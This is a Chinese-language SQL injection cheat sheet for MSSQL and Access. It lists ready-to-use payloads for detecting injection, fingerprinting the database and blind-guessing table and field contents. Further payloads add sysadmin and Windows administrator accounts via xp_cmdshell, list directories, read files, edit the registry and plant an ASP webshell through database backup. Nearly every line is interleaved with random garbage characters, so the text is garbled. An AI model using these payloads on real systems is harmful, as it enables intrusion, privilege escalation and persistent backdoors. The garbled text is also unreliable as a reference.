1.判断是否有注入;and 1=1 ;and 1=2 E'.7xDN
2.初步判断是否是mssql ;and user>0 B i<Q=x'Z;
Ziu]'#
3.注入参数是字符'and [查询条件] and ''=' 2oRg 2R}
FzXJ]H
4.搜索时没过滤参数的'and [查询条件] and '%25'=' x`IEU*z#
%O;bAC_M
5.判断数据库系统 n`&U~s8w
x6ARzH\
;and (select count(*) from sysobjects)>0 mssql U\<?z Dw
7y@Pa&^8
;and (select count(*) from msysobjects)>0 access B=A [ymm
)$bS}.
do+.aOC
kO*$"w#X[p
6.猜数据库 ;and (select Count(*) from [数据库名])>0 TLe~y1dwY=
"?I y (*^
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
2WVka
(<oyN7NT
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 cFnDmtI:
l.bYE/F0&
9.(1)猜字段的ascii值(access) 'B0{_RaTb
Gvqxi|
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T+K):ug
YgV817OV
(2)猜字段的ascii值(mssql) zXxT%ZcCj
)fSOi||C
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 6Yxh9*N~]
YLE!m?
10.测试权限结构(mssql) '9j="R;
W=qVc
j578)!aJ
{_Rr 6
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- '>ssqBnI
M|`U"vO
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- `LE6jp3,
P8)=Kbd
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- j*jo@N|
Q_X.rUL0w
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- &_|#.
"#oHYz3D
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- !~D}/Q;#}\
Uu(SR/R}
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- V<uR>TD(
z] ?N+NHOA
;and 1=(select IS_MEMBER('db_owner'));-- l6 H|PR{
\(Y\|zC'0$
e`xdSi>E
B%76rEpvW;
11.添加mssql和系统的帐户 emPM4iG?!
B1C-J/J
;exec master.dbo.sp_addlogin username;-- d]6#m'U
;exec master.dbo.sp_password null,username,password;-- #& Rw&
1\>^m
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Ix=}+K/
&wCg\j_c
;exec master.dbo.xp_cmdshell 'net user username password K[r^'P5m
>X4u]>X
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- F!Q@u
jQ
;exec master.dbo.xp_cmdshell 'net user username password /add';-- &Ao+X=qw
?ztkE62t
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- dCk3;XU
5r8<7g:>C
k!HK 97qA
E!l!OtFL
12.(1)遍历目录 $5<#n@
$#S&QHyEe
;create table dirs(paths varchar(100), id int) b+6\JE^Mz
A
'5,LfTu
;insert dirs exec master.dbo.xp_dirtree 'c:\' DYxCQ
D
[@b&? b~K
;and (select top 1 paths from dirs)>0 )~] (&
NzOo0tz:
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) IS
2^g>T#1
<_tT<5'[$u
D
(mj7oB
;y\IqiA{o
(2)遍历目录 87P>IO
4?7W+/~<&
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Dg?70v<a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 JB`\G=PiL
Q/_f
zg
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 `-l6S
x+x40!+\
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 HO%wHiv1X
\cUNsB5
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4/1d&Sg
WP+oFkw>
f Tl<p&b
D+z?wuXk
13.mssql中的存储过程 qA$*YIlK
cmg^J
xp_regenumvalues 注册表根键, 子键 %$Z7x\_
T'&I{L33Y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 @zz1hU
r1LViK
xp_regread 根键,子键,键值名 fhp<oe>D
qI<mjB{3`
;exec xp_regread 'BPp ]R#{
7MHKeLq
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &LVn6zAba
j eX^}]x|%
xp_regwrite 根键,子键, 值名, 值类型, 值 k_q0Q;6w!l
`gb5"`EZ
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ez^@NK
%S nd\
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 w1#gOwA,$
?zVL;gVWA
xp_regdeletevalue 根键,子键,值名 f[~L?B;_L
M8Z2Pg\0
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 "WK{ >T
3G~@H>j
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5HO9+i
h!ZV8yMc
rKf-+6Na
yA(K=?sq
14.mssql的backup创建webshell kO{s^_qR^c
/)(#{i*
use model [tA;l+Q\&
^__Dd)(
create table cmd(str image); yi%-7[*]=
R Yl>
insert into cmd(str) values (''); UE ,t8j
QC;^xG+W
backup database model to disk='c:\l.asp'; W.0L:3<"
Z%Zd2
v
`Ru3L#@
nMvKTH
15.mssql内置函数 {0^&SI"5`E
GF%314Xu
;and (select @@version)>0 获得Windows的版本号 I{:(z3
.j>hI="b
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ixQJ[fH10
XWs"jt
;and (select user_name())>0 爆当前系统的连接用户 :2-pjkhiwY
R&';Oro
;and (select db_name())>0 得到当前连接的数据库 hQH nwr
ez!C?
8o0%@5M
09kt[
16.简洁的webshell h!:~f-@j4
hk;7:G
use model (BfgwC)
/2Bi@syxK
create table cmd(str image); ?6jkI2w
K/=_b<
insert into cmd(str) values (''); :`2=@ .
X>.
NFB
backup database model to disk='g:\wwwtest\l.asp';